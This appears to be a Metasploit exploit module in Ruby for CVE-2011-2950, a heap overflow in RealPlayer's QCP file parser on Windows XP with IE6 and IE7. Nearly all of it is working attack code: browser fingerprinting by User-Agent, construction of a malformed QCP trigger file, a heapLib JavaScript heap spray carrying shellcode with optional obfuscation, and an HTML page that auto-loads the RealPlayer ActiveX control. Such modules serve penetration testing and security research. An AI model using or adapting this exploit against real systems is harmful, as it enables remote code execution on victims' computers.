247 lines
7.3 KiB
Ruby
247 lines
7.3 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info={})
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super(update_info(info,
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'Name' => "RealNetworks Realplayer QCP Parsing Heap Overflow",
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'Description' => %q{
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This module exploits a heap overflow in Realplayer when handling a .QCP file.
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The specific flaw exists within qcpfformat.dll. A static 256 byte buffer is
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allocated on the heap and user-supplied data from the file is copied within a
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memory copy loop.
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This allows a remote attacker to execute arbitrary code running in the context
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of the web browser via a .QCP file with a specially crafted "fmt" chunk.
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At this moment this module exploits the flaw on Windows XP IE6, IE7.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Sean de Regge', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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['CVE', '2011-2950'],
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['OSVDB', '74549'],
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['BID', '49172'],
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# ZDI advisory
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['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-265/'],
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# Vendor advisory
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['URL', 'http://service.real.com/realplayer/security/08162011_player/en/'],
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#Fix commit
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['URL', 'http://lists.helixcommunity.org/pipermail/datatype-cvs/2011-April/015469.html'],
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],
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'Payload' =>
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{
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'Space' => 1024
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => "process",
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'Internet Explorer 6 on XP SP3', { 'Nops' => "%u1414%u1414" } ],
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[ 'Internet Explorer 7 on XP SP3', { 'Nops' => "%u0c0c%u0c0c" } ],
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],
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'DisclosureDate' => "Aug 16 2011",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
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], self.class)
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end
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def get_target(cli, request)
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#Default target
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my_target = target
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vprint_status("User-Agent: #{request.headers['User-Agent']}")
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if target.name == 'Automatic'
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agent = request.headers['User-Agent']
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
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#Windows XP + IE 6
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my_target = targets[1]
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
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#Windows XP + IE 7.0
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my_target = targets[2]
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elsif agent =~ /RMA/
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#RealPlayer identifies itself as "RMA/1.0 (compatible; RealMedia)"
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#when requesting our trigger file
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return 'RMA'
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else
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#If we don't recognize the client, we don't fire the exploit
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my_target = nil
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end
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end
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return my_target
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end
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def exploit
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#Set trigger file name
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@filename = rand_text_alpha(rand(6) + 3)
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#Create the trigger file
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@trigger = build_trigger
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super
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end
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def on_request_uri(cli, request)
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#Pick the right target
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vprint_status("Selecting target...")
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my_target = get_target(cli, request)
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if my_target.nil?
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print_error("Target not supported")
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send_not_found(cli)
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return
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end
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vprint_status("URL: #{request.uri.to_s}")
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#Send the trigger file upon request
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if request.uri.match(/\.qcp$/)
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print_status("Sending trigger file")
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send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' })
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return
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end
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vprint_status("Building shellcode...")
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code = Rex::Text.to_unescape(payload.encoded)
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vprint_status("Building spray...")
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spray = build_spray(my_target, code)
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#obfuscate on demand
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vprint_status("Obfuscating javascript...")
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if datastore['OBFUSCATE']
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spray = Rex::Exploitation::JSObfu.new(spray)
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spray.obfuscate
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end
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vprint_status("Building html...")
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#Value for the 'Src' parameter of our ActiveX control
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trigger_file = ""
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if ("/" == get_resource[-1,1])
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trigger_file = get_resource[0, get_resource.length - 1]
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else
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trigger_file = get_resource
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end
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trigger_file << "/#{@filename}.qcp"
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html = <<-EOS
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<HTML>
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<HEAD>
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</HEAD>
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<BODY>
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<script language='javascript'>
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#{spray}
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</script>
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<OBJECT ID=RVOCX CLASSID="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA" WIDTH=320 HEIGHT=240>
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<PARAM NAME="SRC" VALUE="#{trigger_file}">
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<PARAM NAME="CONTROLS" VALUE="ImageWindow">
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<PARAM NAME="CONSOLE" VALUE="one">
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<PARAM NAME="AUTOSTART" VALUE="true">
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<EMBED SRC="#{trigger_file}" WIDTH=320 HEIGHT=240 NOJAVA=true CONTROLS=ImageWindow CONSOLE=one AUTOSTART=true>
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</OBJECT>
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</BODY>
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EOS
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print_status("Sending #{self.name}")
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send_response( cli, html, {'Content-Type' => 'text/html'} )
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end
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def build_trigger()
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overflow_size = 700
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overflow_string = "\x11" * 700
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#riff_mark
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trigger = "\x52\x49\x46\x46"
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#total_size
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trigger << [0xed44 + overflow_size].pack("V")
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#qlcm_tag
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trigger << "\x51\x4c\x43\x4d"
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#fmt_tag
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trigger << "\x66\x6d\x74\x20"
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#fmt_size
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trigger << [0x96 + overflow_size].pack("V")
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#fmt_content
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trigger << "\x01\x00\x8d\xd4\x89\xe6\x76\x90"
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trigger << "\xb5\x46\x91\xef\x73\x6a\x51\x00"
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trigger << "\xce\xb4\x01\x00\x54\x49\x41\x20"
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trigger << "\x49\x53\x2d\x31\x32\x37\x20\x45"
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trigger << "\x6e\x68\x61\x6e\x63\x65\x64\x20"
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trigger << "\x56\x61\x72\x69\x61\x62\x6c\x65"
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trigger << "\x20\x52\x61\x74\x65\x20\x43\x6f"
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trigger << "\x64\x65\x63\x2c\x20\x53\x70\x65"
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trigger << "\x65\x63\x68\x20\x53\x65\x72\x76"
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trigger << "\x69\x63\x65\x20\x4f\x70\x74\x69"
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trigger << "\x6f\x6e\x20\x33\x20\x00\x00\x00"
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trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
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trigger << "\x00\x00\x00\x00\xc8\x32\x16\x00"
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trigger << "\xa0\x00\x40\x1f\x10\x00\x05\x00"
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trigger << "\x00\x00\x16\x04\x0a\x03\x05\x02"
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trigger << "\x02\x01\x00\x00\x00\x00\x00\x00"
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trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
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trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
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trigger << "\x00\x00\x00\x00\x00\x00"
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trigger << overflow_string
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#vrat_tag
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trigger << "\x76\x72\x61\x74"
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#vrat_size
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trigger << [0x8].pack("V")
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#vrat_content
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trigger << "\x01\x00\x00\x00\x06\x13\x00\x00"
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#data_tag
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trigger << "\x64\x61\x74\x61"
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#data_size
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trigger << [0xec8a].pack("V")
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#data_content
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trigger << rand_text_alpha(0xec8a)
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return trigger
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end
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def build_spray(mytarget, code)
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spray = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{code}");
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var nops = unescape("#{mytarget['Nops']}");
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while (nops.length < 0x10000) nops += nops;
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offset = nops.substring(0, 0x7BE0);
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var shellcode = offset + code + nops.substring(0, 0x8000-offset.length-code.length);
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while (shellcode.length < 0x20000) shellcode += shellcode;
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block = shellcode.substring(0, (0x10000-6)/2);
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heap_obj.gc();
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for (var i=0; i < 0x1400; i++) {
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heap_obj.alloc(block);
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}
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JS
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spray = heaplib(spray)
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return spray
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end
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end
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